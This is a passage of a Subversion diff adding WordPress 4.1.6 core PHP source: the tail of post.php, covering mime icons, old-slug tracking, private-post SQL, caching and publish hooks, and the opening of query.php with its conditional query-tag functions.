+ * @return string|bool Icon, false otherwise.
+ */
+function wp_mime_type_icon( $mime = 0 ) {
+	if ( !is_numeric($mime) )
+		$icon = wp_cache_get("mime_type_icon_$mime");
+
+	$post_id = 0;
+	if ( empty($icon) ) {
+		$post_mimes = array();
+		if ( is_numeric($mime) ) {
+			$mime = (int) $mime;
+			if ( $post = get_post( $mime ) ) {
+				$post_id = (int) $post->ID;
+				$ext = preg_replace('/^.+?\.([^.]+)$/', '$1', $post->guid);
+				if ( !empty($ext) ) {
+					$post_mimes[] = $ext;
+					if ( $ext_type = wp_ext2type( $ext ) )
+						$post_mimes[] = $ext_type;
+				}
+				$mime = $post->post_mime_type;
+			} else {
+				$mime = 0;
+			}
+		} else {
+			$post_mimes[] = $mime;
+		}
+
+		$icon_files = wp_cache_get('icon_files');
+
+		if ( !is_array($icon_files) ) {
+			/**
+			 * Filter the icon directory path.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param string $path Icon directory absolute path.
+			 */
+			$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );
+
+			/**
+			 * Filter the icon directory URI.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param string $uri Icon directory URI.
+			 */
+			$icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url( 'images/media' ) );
+
+			/**
+			 * Filter the list of icon directory URIs.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param array $uris List of icon directory URIs.
+			 */
+			$dirs = apply_filters( 'icon_dirs', array( $icon_dir => $icon_dir_uri ) );
+			$icon_files = array();
+			while ( $dirs ) {
+				$keys = array_keys( $dirs );
+				$dir = array_shift( $keys );
+				$uri = array_shift($dirs);
+				if ( $dh = opendir($dir) ) {
+					while ( false !== $file = readdir($dh) ) {
+						$file = basename($file);
+						if ( substr($file, 0, 1) == '.' )
+							continue;
+						if ( !in_array(strtolower(substr($file, -4)), array('.png', '.gif', '.jpg') ) ) {
+							if ( is_dir("$dir/$file") )
+								$dirs["$dir/$file"] = "$uri/$file";
+							continue;
+						}
+						$icon_files["$dir/$file"] = "$uri/$file";
+					}
+					closedir($dh);
+				}
+			}
+			wp_cache_add( 'icon_files', $icon_files, 'default', 600 );
+		}
+
+		// Icon basename - extension = MIME wildcard.
+		foreach ( $icon_files as $file => $uri )
+			$types[ preg_replace('/^([^.]*).*$/', '$1', basename($file)) ] =& $icon_files[$file];
+
+		if ( ! empty($mime) ) {
+			$post_mimes[] = substr($mime, 0, strpos($mime, '/'));
+			$post_mimes[] = substr($mime, strpos($mime, '/') + 1);
+			$post_mimes[] = str_replace('/', '_', $mime);
+		}
+
+		$matches = wp_match_mime_types(array_keys($types), $post_mimes);
+		$matches['default'] = array('default');
+
+		foreach ( $matches as $match => $wilds ) {
+			if ( isset($types[$wilds[0]])) {
+				$icon = $types[$wilds[0]];
+				if ( !is_numeric($mime) )
+					wp_cache_add("mime_type_icon_$mime", $icon);
+				break;
+			}
+		}
+	}
+
+	/**
+	 * Filter the mime type icon.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $icon    Path to the mime type icon.
+	 * @param string $mime    Mime type.
+	 * @param int    $post_id Attachment ID. Will equal 0 if the function passed
+	 *                        the mime type.
+	 */
+	return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id );
+}
+
+/**
+ * Check for changed slugs for published post objects and save the old slug.
+ *
+ * The function is used when a post object of any type is updated,
+ * by comparing the current and previous post objects.
+ *
+ * If the slug was changed and not already part of the old slugs then it will be
+ * added to the post meta field ('_wp_old_slug') for storing old slugs for that
+ * post.
+ *
+ * The most logically usage of this function is redirecting changed post objects, so
+ * that those that linked to an changed post will be redirected to the new post.
+ *
+ * @since 2.1.0
+ *
+ * @param int     $post_id     Post ID.
+ * @param WP_Post $post        The Post Object
+ * @param WP_Post $post_before The Previous Post Object
+ * @return int Same as $post_id
+ */
+function wp_check_for_changed_slugs( $post_id, $post, $post_before ) {
+	// Don't bother if it hasnt changed.
+	if ( $post->post_name == $post_before->post_name )
+		return;
+
+	// We're only concerned with published, non-hierarchical objects.
+	if ( $post->post_status != 'publish' || is_post_type_hierarchical( $post->post_type ) )
+		return;
+
+	$old_slugs = (array) get_post_meta($post_id, '_wp_old_slug');
+
+	// If we haven't added this old slug before, add it now.
+	if ( !empty( $post_before->post_name ) && !in_array($post_before->post_name, $old_slugs) )
+		add_post_meta($post_id, '_wp_old_slug', $post_before->post_name);
+
+	// If the new slug was used previously, delete it from the list.
+	if ( in_array($post->post_name, $old_slugs) )
+		delete_post_meta($post_id, '_wp_old_slug', $post->post_name);
+}
+
+/**
+ * Retrieve the private post SQL based on capability.
+ *
+ * This function provides a standardized way to appropriately select on the
+ * post_status of a post type. The function will return a piece of SQL code
+ * that can be added to a WHERE clause; this SQL is constructed to allow all
+ * published posts, and all private posts to which the user has access.
+ *
+ * @since 2.2.0
+ *
+ * @param string $post_type Post type. Currently only supports 'post' or 'page'.
+ * @return string SQL code that can be added to a where clause.
+ */
+function get_private_posts_cap_sql( $post_type ) {
+	return get_posts_by_author_sql( $post_type, false );
+}
+
+/**
+ * Retrieve the post SQL based on capability, author, and type.
+ *
+ * @since 3.0.0
+ *
+ * @see get_private_posts_cap_sql()
+ *
+ * @param string $post_type   Post type.
+ * @param bool   $full        Optional. Returns a full WHERE statement instead of just
+ *                            an 'andalso' term. Default true.
+ * @param int    $post_author Optional. Query posts having a single author ID. Default null.
+ * @param bool   $public_only Optional. Only return public posts. Skips cap checks for
+ *                            $current_user.  Default false.
+ * @return string SQL WHERE code that can be added to a query.
+ */
+function get_posts_by_author_sql( $post_type, $full = true, $post_author = null, $public_only = false ) {
+	global $wpdb;
+
+	// Private posts.
+	$post_type_obj = get_post_type_object( $post_type );
+	if ( ! $post_type_obj )
+		return $full ? 'WHERE 1 = 0' : ' 1 = 0 ';
+
+	/**
+	 * Filter the capability to read private posts for a custom post type
+	 * when generating SQL for getting posts by author.
+	 *
+	 * @since 2.2.0
+	 * @deprecated 3.2.0 The hook transitioned from "somewhat useless" to "totally useless".
+	 *
+	 * @param string $cap Capability.
+	 */
+	if ( ! $cap = apply_filters( 'pub_priv_sql_capability', '' ) ) {
+		$cap = $post_type_obj->cap->read_private_posts;
+	}
+
+	if ( $full ) {
+		if ( null === $post_author ) {
+			$sql = $wpdb->prepare( 'WHERE post_type = %s AND ', $post_type );
+		} else {
+			$sql = $wpdb->prepare( 'WHERE post_author = %d AND post_type = %s AND ', $post_author, $post_type );
+		}
+	} else {
+		$sql = '';
+	}
+
+	$sql .= "(post_status = 'publish'";
+
+	// Only need to check the cap if $public_only is false.
+	if ( false === $public_only ) {
+		if ( current_user_can( $cap ) ) {
+			// Does the user have the capability to view private posts? Guess so.
+			$sql .= " OR post_status = 'private'";
+		} elseif ( is_user_logged_in() ) {
+			// Users can view their own private posts.
+			$id = get_current_user_id();
+			if ( null === $post_author || ! $full ) {
+				$sql .= " OR post_status = 'private' AND post_author = $id";
+			} elseif ( $id == (int) $post_author ) {
+				$sql .= " OR post_status = 'private'";
+			} // else none
+		} // else none
+	}
+
+	$sql .= ')';
+
+	return $sql;
+}
+
+/**
+ * Retrieve the date that the last post was published.
+ *
+ * The server timezone is the default and is the difference between GMT and
+ * server time. The 'blog' value is the date when the last post was posted. The
+ * 'gmt' is when the last post was posted in GMT formatted date.
+ *
+ * @since 0.71
+ *
+ * @param string $timezone The location to get the time. Accepts 'gmt', 'blog',
+ *                         or 'server'. Default 'server'.
+ * @return string The date of the last post.
+ */
+function get_lastpostdate( $timezone = 'server' ) {
+	/**
+	 * Filter the date the last post was published.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $date     Date the last post was published. Likely values are 'gmt',
+	 *                         'blog', or 'server'.
+	 * @param string $timezone Location to use for getting the post published date.
+	 */
+	return apply_filters( 'get_lastpostdate', _get_last_post_time( $timezone, 'date' ), $timezone );
+}
+
+/**
+ * Get the timestamp of the last time any post was modified.
+ *
+ * The server timezone is the default and is the difference between GMT and
+ * server time. The 'blog' value is just when the last post was modified. The
+ * 'gmt' is when the last post was modified in GMT time.
+ *
+ * @since 1.2.0
+ *
+ * @param string $timezone Optional. The timezone for the timestamp. Uses the server's internal timezone.
+ *                         Accepts 'server', 'blog', 'gmt'. or 'server'. 'server' uses the server's
+ *                         internal timezone. 'blog' uses the `post_modified` field, which proxies
+ *                         to the timezone set for the site. 'gmt' uses the `post_modified_gmt` field.
+ *                         Default 'server'.
+ * @return string The timestamp.
+ */
+function get_lastpostmodified( $timezone = 'server' ) {
+	$lastpostmodified = _get_last_post_time( $timezone, 'modified' );
+
+	$lastpostdate = get_lastpostdate($timezone);
+	if ( $lastpostdate > $lastpostmodified )
+		$lastpostmodified = $lastpostdate;
+
+	/**
+	 * Filter the date the last post was modified.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $lastpostmodified Date the last post was modified.
+	 * @param string $timezone         Location to use for getting the post modified date.
+	 *                                 See {@see get_lastpostmodified()} for accepted `$timezone` values.
+	 */
+	return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone );
+}
+
+/**
+ * Get the timestamp of the last time any post was modified or published.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param string $timezone The timezone for the timestamp. See {@see get_lastpostmodified()}
+ *                         for information on accepted values.
+ * @param string $field    Post field to check. Accepts 'date' or 'modified'.
+ * @return string The timestamp.
+ */
+function _get_last_post_time( $timezone, $field ) {
+	global $wpdb;
+
+	if ( !in_array( $field, array( 'date', 'modified' ) ) )
+		return false;
+
+	$timezone = strtolower( $timezone );
+
+	$key = "lastpost{$field}:$timezone";
+
+	$date = wp_cache_get( $key, 'timeinfo' );
+
+	if ( !$date ) {
+		$add_seconds_server = date('Z');
+
+		$post_types = get_post_types( array( 'public' => true ) );
+		array_walk( $post_types, array( &$wpdb, 'escape_by_ref' ) );
+		$post_types = "'" . implode( "', '", $post_types ) . "'";
+
+		switch ( $timezone ) {
+			case 'gmt':
+				$date = $wpdb->get_var("SELECT post_{$field}_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
+				break;
+			case 'blog':
+				$date = $wpdb->get_var("SELECT post_{$field} FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
+				break;
+			case 'server':
+				$date = $wpdb->get_var("SELECT DATE_ADD(post_{$field}_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
+				break;
+		}
+
+		if ( $date )
+			wp_cache_set( $key, $date, 'timeinfo' );
+	}
+
+	return $date;
+}
+
+/**
+ * Updates posts in cache.
+ *
+ * @since 1.5.1
+ *
+ * @param array $posts Array of post objects, passed by reference.
+ */
+function update_post_cache( &$posts ) {
+	if ( ! $posts )
+		return;
+
+	foreach ( $posts as $post )
+		wp_cache_add( $post->ID, $post, 'posts' );
+}
+
+/**
+ * Will clean the post in the cache.
+ *
+ * Cleaning means delete from the cache of the post. Will call to clean the term
+ * object cache associated with the post ID.
+ *
+ * This function not run if $_wp_suspend_cache_invalidation is not empty. See
+ * wp_suspend_cache_invalidation().
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post $post Post ID or post object to remove from the cache.
+ */
+function clean_post_cache( $post ) {
+	global $_wp_suspend_cache_invalidation, $wpdb;
+
+	if ( ! empty( $_wp_suspend_cache_invalidation ) )
+		return;
+
+	$post = get_post( $post );
+	if ( empty( $post ) )
+		return;
+
+	wp_cache_delete( $post->ID, 'posts' );
+	wp_cache_delete( $post->ID, 'post_meta' );
+
+	clean_object_term_cache( $post->ID, $post->post_type );
+
+	wp_cache_delete( 'wp_get_archives', 'general' );
+
+	/**
+	 * Fires immediately after the given post's cache is cleaned.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int     $post_id Post ID.
+	 * @param WP_Post $post    Post object.
+	 */
+	do_action( 'clean_post_cache', $post->ID, $post );
+
+	if ( 'page' == $post->post_type ) {
+		wp_cache_delete( 'all_page_ids', 'posts' );
+
+		/**
+		 * Fires immediately after the given page's cache is cleaned.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param int $post_id Post ID.
+		 */
+		do_action( 'clean_page_cache', $post->ID );
+	}
+
+	wp_cache_set( 'last_changed', microtime(), 'posts' );
+}
+
+/**
+ * Call major cache updating functions for list of Post objects.
+ *
+ * @since 1.5.0
+ *
+ * @param array  $posts             Array of Post objects
+ * @param string $post_type         Optional. Post type. Default 'post'.
+ * @param bool   $update_term_cache Optional. Whether to update the term cache. Default true.
+ * @param bool   $update_meta_cache Optional. Whether to update the meta cache. Default true.
+ */
+function update_post_caches( &$posts, $post_type = 'post', $update_term_cache = true, $update_meta_cache = true ) {
+	// No point in doing all this work if we didn't match any posts.
+	if ( !$posts )
+		return;
+
+	update_post_cache($posts);
+
+	$post_ids = array();
+	foreach ( $posts as $post )
+		$post_ids[] = $post->ID;
+
+	if ( ! $post_type )
+		$post_type = 'any';
+
+	if ( $update_term_cache ) {
+		if ( is_array($post_type) ) {
+			$ptypes = $post_type;
+		} elseif ( 'any' == $post_type ) {
+			// Just use the post_types in the supplied posts.
+			foreach ( $posts as $post )
+				$ptypes[] = $post->post_type;
+			$ptypes = array_unique($ptypes);
+		} else {
+			$ptypes = array($post_type);
+		}
+
+		if ( ! empty($ptypes) )
+			update_object_term_cache($post_ids, $ptypes);
+	}
+
+	if ( $update_meta_cache )
+		update_postmeta_cache($post_ids);
+}
+
+/**
+ * Updates metadata cache for list of post IDs.
+ *
+ * Performs SQL query to retrieve the metadata for the post IDs and updates the
+ * metadata cache for the posts. Therefore, the functions, which call this
+ * function, do not need to perform SQL queries on their own.
+ *
+ * @since 2.1.0
+ *
+ * @param array $post_ids List of post IDs.
+ * @return bool|array Returns false if there is nothing to update or an array
+ *                    of metadata.
+ */
+function update_postmeta_cache( $post_ids ) {
+	return update_meta_cache('post', $post_ids);
+}
+
+/**
+ * Will clean the attachment in the cache.
+ *
+ * Cleaning means delete from the cache. Optionally will clean the term
+ * object cache associated with the attachment ID.
+ *
+ * This function will not run if $_wp_suspend_cache_invalidation is not empty.
+ *
+ * @since 3.0.0
+ *
+ * @see wp_suspend_cache_invalidation()
+ *
+ * @param int  $id          The attachment ID in the cache to clean.
+ * @param bool $clean_terms Optional. Whether to clean terms cache. Default false.
+ */
+function clean_attachment_cache( $id, $clean_terms = false ) {
+	global $_wp_suspend_cache_invalidation;
+
+	if ( !empty($_wp_suspend_cache_invalidation) )
+		return;
+
+	$id = (int) $id;
+
+	wp_cache_delete($id, 'posts');
+	wp_cache_delete($id, 'post_meta');
+
+	if ( $clean_terms )
+		clean_object_term_cache($id, 'attachment');
+
+	/**
+	 * Fires after the given attachment's cache is cleaned.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $id Attachment ID.
+	 */
+	do_action( 'clean_attachment_cache', $id );
+}
+
+//
+// Hooks
+//
+
+/**
+ * Hook for managing future post transitions to published.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @see wp_clear_scheduled_hook()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string  $new_status New post status.
+ * @param string  $old_status Previous post status.
+ * @param WP_Post $post       Post object.
+ */
+function _transition_post_status( $new_status, $old_status, $post ) {
+	global $wpdb;
+
+	if ( $old_status != 'publish' && $new_status == 'publish' ) {
+		// Reset GUID if transitioning to publish and it is empty.
+		if ( '' == get_the_guid($post->ID) )
+			$wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) );
+
+		/**
+		 * Fires when a post's status is transitioned from private to published.
+		 *
+		 * @since 1.5.0
+		 * @deprecated 2.3.0 Use 'private_to_publish' instead.
+		 *
+		 * @param int $post_id Post ID.
+		 */
+		do_action('private_to_published', $post->ID);
+	}
+
+	// If published posts changed clear the lastpostmodified cache.
+	if ( 'publish' == $new_status || 'publish' == $old_status) {
+		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
+			wp_cache_delete( "lastpostmodified:$timezone", 'timeinfo' );
+			wp_cache_delete( "lastpostdate:$timezone", 'timeinfo' );
+		}
+	}
+
+	if ( $new_status !== $old_status ) {
+		wp_cache_delete( _count_posts_cache_key( $post->post_type ), 'counts' );
+		wp_cache_delete( _count_posts_cache_key( $post->post_type, 'readable' ), 'counts' );
+	}
+
+	// Always clears the hook in case the post status bounced from future to draft.
+	wp_clear_scheduled_hook('publish_future_post', array( $post->ID ) );
+}
+
+/**
+ * Hook used to schedule publication for a post marked for the future.
+ *
+ * The $post properties used and must exist are 'ID' and 'post_date_gmt'.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param int     $deprecated Not used. Can be set to null. Never implemented. Not marked
+ *                            as deprecated with _deprecated_argument() as it conflicts with
+ *                            wp_transition_post_status() and the default filter for
+ *                            {@see _future_post_hook()}.
+ * @param WP_Post $post       Post object.
+ */
+function _future_post_hook( $deprecated, $post ) {
+	wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) );
+	wp_schedule_single_event( strtotime( get_gmt_from_date( $post->post_date ) . ' GMT') , 'publish_future_post', array( $post->ID ) );
+}
+
+/**
+ * Hook to schedule pings and enclosures when a post is published.
+ *
+ * Uses XMLRPC_REQUEST and WP_IMPORTING constants.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param int $post_id The ID in the database table of the post being published.
+ */
+function _publish_post_hook( $post_id ) {
+	if ( defined( 'XMLRPC_REQUEST' ) ) {
+		/**
+		 * Fires when _publish_post_hook() is called during an XML-RPC request.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param int $post_id Post ID.
+		 */
+		do_action( 'xmlrpc_publish_post', $post_id );
+	}
+
+	if ( defined('WP_IMPORTING') )
+		return;
+
+	if ( get_option('default_pingback_flag') )
+		add_post_meta( $post_id, '_pingme', '1' );
+	add_post_meta( $post_id, '_encloseme', '1' );
+
+	wp_schedule_single_event(time(), 'do_pings');
+}
+
+/**
+ * Return the post's parent's post_ID
+ *
+ * @since 3.1.0
+ *
+ * @param int $post_ID
+ *
+ * @return int|bool Post parent ID, otherwise false.
+ */
+function wp_get_post_parent_id( $post_ID ) {
+	$post = get_post( $post_ID );
+	if ( !$post || is_wp_error( $post ) )
+		return false;
+	return (int) $post->post_parent;
+}
+
+/**
+ * Check the given subset of the post hierarchy for hierarchy loops.
+ *
+ * Prevents loops from forming and breaks those that it finds. Attached
+ * to the 'wp_insert_post_parent' filter.
+ *
+ * @since 3.1.0
+ *
+ * @see wp_find_hierarchy_loop()
+ *
+ * @param int $post_parent ID of the parent for the post we're checking.
+ * @param int $post_ID     ID of the post we're checking.
+ * @return int The new post_parent for the post, 0 otherwise.
+ */
+function wp_check_post_hierarchy_for_loops( $post_parent, $post_ID ) {
+	// Nothing fancy here - bail.
+	if ( !$post_parent )
+		return 0;
+
+	// New post can't cause a loop.
+	if ( empty( $post_ID ) )
+		return $post_parent;
+
+	// Can't be its own parent.
+	if ( $post_parent == $post_ID )
+		return 0;
+
+	// Now look for larger loops.
+	if ( !$loop = wp_find_hierarchy_loop( 'wp_get_post_parent_id', $post_ID, $post_parent ) )
+		return $post_parent; // No loop
+
+	// Setting $post_parent to the given value causes a loop.
+	if ( isset( $loop[$post_ID] ) )
+		return 0;
+
+	// There's a loop, but it doesn't contain $post_ID. Break the loop.
+	foreach ( array_keys( $loop ) as $loop_member )
+		wp_update_post( array( 'ID' => $loop_member, 'post_parent' => 0 ) );
+
+	return $post_parent;
+}
+
+/**
+ * Set a post thumbnail.
+ *
+ * @since 3.1.0
+ *
+ * @param int|WP_Post $post         Post ID or post object where thumbnail should be attached.
+ * @param int         $thumbnail_id Thumbnail to attach.
+ * @return bool True on success, false on failure.
+ */
+function set_post_thumbnail( $post, $thumbnail_id ) {
+	$post = get_post( $post );
+	$thumbnail_id = absint( $thumbnail_id );
+	if ( $post && $thumbnail_id && get_post( $thumbnail_id ) ) {
+		if ( wp_get_attachment_image( $thumbnail_id, 'thumbnail' ) )
+			return update_post_meta( $post->ID, '_thumbnail_id', $thumbnail_id );
+		else
+			return delete_post_meta( $post->ID, '_thumbnail_id' );
+	}
+	return false;
+}
+
+/**
+ * Remove a post thumbnail.
+ *
+ * @since 3.3.0
+ *
+ * @param int|WP_Post $post Post ID or post object where thumbnail should be removed from.
+ * @return bool True on success, false on failure.
+ */
+function delete_post_thumbnail( $post ) {
+	$post = get_post( $post );
+	if ( $post )
+		return delete_post_meta( $post->ID, '_thumbnail_id' );
+	return false;
+}
+
+/**
+ * Delete auto-drafts for new posts that are > 7 days old.
+ *
+ * @since 3.4.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function wp_delete_auto_drafts() {
+	global $wpdb;
+
+	// Cleanup old auto-drafts more than 7 days old.
+	$old_posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'auto-draft' AND DATE_SUB( NOW(), INTERVAL 7 DAY ) > post_date" );
+	foreach ( (array) $old_posts as $delete ) {
+		// Force delete.
+		wp_delete_post( $delete, true );
+	}
+}
+
+/**
+ * Update the custom taxonomies' term counts when a post's status is changed.
+ *
+ * For example, default posts term counts (for custom taxonomies) don't include
+ * private / draft posts.
+ *
+ * @since 3.3.0
+ * @access private
+ *
+ * @param string  $new_status New post status.
+ * @param string  $old_status Old post status.
+ * @param WP_Post $post       Post object.
+ */
+function _update_term_count_on_transition_post_status( $new_status, $old_status, $post ) {
+	// Update counts for the post's terms.
+	foreach ( (array) get_object_taxonomies( $post->post_type ) as $taxonomy ) {
+		$tt_ids = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'tt_ids' ) );
+		wp_update_term_count( $tt_ids, $taxonomy );
+	}
+}
+
+/**
+ * Adds any posts from the given ids to the cache that do not already exist in cache
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @see update_post_caches()
+ *
+ * @param array $ids               ID list
+ * @param bool  $update_term_cache Optional. Whether to update the term cache. Default true.
+ * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
+ */
+function _prime_post_caches( $ids, $update_term_cache = true, $update_meta_cache = true ) {
+	global $wpdb;
+
+	$non_cached_ids = _get_non_cached_ids( $ids, 'posts' );
+	if ( !empty( $non_cached_ids ) ) {
+		$fresh_posts = $wpdb->get_results( sprintf( "SELECT $wpdb->posts.* FROM $wpdb->posts WHERE ID IN (%s)", join( ",", $non_cached_ids ) ) );
+
+		update_post_caches( $fresh_posts, 'any', $update_term_cache, $update_meta_cache );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/query.php
===================================================================
--- /tags/4.1.6/src/wp-includes/query.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/query.php	(revision 33402)
@@ -0,0 +1,4701 @@
+<?php
+/**
+ * WordPress Query API
+ *
+ * The query API attempts to get which part of WordPress the user is on. It
+ * also provides functionality for getting URL query information.
+ *
+ * @link http://codex.wordpress.org/The_Loop More information on The Loop.
+ *
+ * @package WordPress
+ * @subpackage Query
+ */
+
+/**
+ * Retrieve variable in the WP_Query class.
+ *
+ * @see WP_Query::get()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param string $var       The variable key to retrieve.
+ * @param mixed  $default   Value to return if the query variable is not set. Default ''.
+ * @return mixed
+ */
+function get_query_var( $var, $default = '' ) {
+	global $wp_query;
+
+	return $wp_query->get( $var, $default );
+}
+
+/**
+ * Retrieve the currently-queried object. Wrapper for $wp_query->get_queried_object()
+ *
+ * @uses WP_Query::get_queried_object
+ *
+ * @since 3.1.0
+ * @access public
+ *
+ * @return object
+ */
+function get_queried_object() {
+	global $wp_query;
+	return $wp_query->get_queried_object();
+}
+
+/**
+ * Retrieve ID of the current queried object. Wrapper for $wp_query->get_queried_object_id()
+ *
+ * @uses WP_Query::get_queried_object_id()
+ *
+ * @since 3.1.0
+ * @access public
+ *
+ * @return int
+ */
+function get_queried_object_id() {
+	global $wp_query;
+	return $wp_query->get_queried_object_id();
+}
+
+/**
+ * Set query variable.
+ *
+ * @see WP_Query::set()
+ * @since 2.2.0
+ * @uses $wp_query
+ *
+ * @param string $var Query variable key.
+ * @param mixed $value
+ * @return null
+ */
+function set_query_var($var, $value) {
+	global $wp_query;
+
+	return $wp_query->set($var, $value);
+}
+
+/**
+ * Set up The Loop with query parameters.
+ *
+ * This will override the current WordPress Loop and shouldn't be used more than
+ * once. This must not be used within the WordPress Loop.
+ *
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param string $query
+ * @return array List of posts
+ */
+function query_posts($query) {
+	$GLOBALS['wp_query'] = new WP_Query();
+	return $GLOBALS['wp_query']->query($query);
+}
+
+/**
+ * Destroy the previous query and set up a new query.
+ *
+ * This should be used after {@link query_posts()} and before another {@link
+ * query_posts()}. This will remove obscure bugs that occur when the previous
+ * wp_query object is not destroyed properly before another is set up.
+ *
+ * @since 2.3.0
+ * @uses $wp_query
+ */
+function wp_reset_query() {
+	$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
+	wp_reset_postdata();
+}
+
+/**
+ * After looping through a separate query, this function restores
+ * the $post global to the current post in the main query.
+ *
+ * @since 3.0.0
+ * @uses $wp_query
+ */
+function wp_reset_postdata() {
+	global $wp_query;
+
+	if ( isset( $wp_query ) ) {
+		$wp_query->reset_postdata();
+	}
+}
+
+/*
+ * Query type checks.
+ */
+
+/**
+ * Is the query for an existing archive page?
+ *
+ * Month, Year, Category, Author, Post Type archive...
+ *
+ * @see WP_Query::is_archive()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_archive() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_archive();
+}
+
+/**
+ * Is the query for an existing post type archive page?
+ *
+ * @see WP_Query::is_post_type_archive()
+ * @since 3.1.0
+ * @uses $wp_query
+ *
+ * @param mixed $post_types Optional. Post type or array of posts types to check against.
+ * @return bool
+ */
+function is_post_type_archive( $post_types = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_post_type_archive( $post_types );
+}
+
+/**
+ * Is the query for an existing attachment page?
+ *
+ * @see WP_Query::is_attachment()
+ * @since 2.0.0
+ * @uses $wp_query
+ *
+ * @param int|string|array|object $attachment Attachment ID, title, slug, or array of such.
+ * @return bool
+ */
+function is_attachment( $attachment = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_attachment( $attachment );
+}
+
+/**
+ * Is the query for an existing author archive page?
+ *
+ * If the $author parameter is specified, this function will additionally
+ * check if the query is for one of the authors specified.
+ *
+ * @see WP_Query::is_author()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param mixed $author Optional. User ID, nickname, nicename, or array of User IDs, nicknames, and nicenames
+ * @return bool
+ */
+function is_author( $author = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_author( $author );
+}
+
+/**
+ * Is the query for an existing category archive page?
+ *
+ * If the $category parameter is specified, this function will additionally
+ * check if the query is for one of the categories specified.
+ *
+ * @see WP_Query::is_category()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param mixed $category Optional. Category ID, name, slug, or array of Category IDs, names, and slugs.
+ * @return bool
+ */
+function is_category( $category = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_category( $category );
+}
+
+/**
+ * Is the query for an existing tag archive page?
+ *
+ * If the $tag parameter is specified, this function will additionally
+ * check if the query is for one of the tags specified.
+ *
+ * @see WP_Query::is_tag()
+ * @since 2.3.0
+ * @uses $wp_query
+ *
+ * @param mixed $tag Optional. Tag ID, name, slug, or array of Tag IDs, names, and slugs.
+ * @return bool
+ */
+function is_tag( $tag = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_tag( $tag );
+}
+
+/**
+ * Is the query for an existing taxonomy archive page?
+ *
+ * If the $taxonomy parameter is specified, this function will additionally
+ * check if the query is for that specific $taxonomy.
+ *
+ * If the $term parameter is specified in addition to the $taxonomy parameter,
+ * this function will additionally check if the query is for one of the terms
+ * specified.
+ *
+ * @see WP_Query::is_tax()
+ * @since 2.5.0
+ * @uses $wp_query
+ *
+ * @param string|array $taxonomy Optional. Taxonomy slug or slugs.
+ * @param int|string|array $term Optional. Term ID, name, slug or array of Term IDs, names, and slugs.
+ * @return bool
+ */
+function is_tax( $taxonomy = '', $term = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
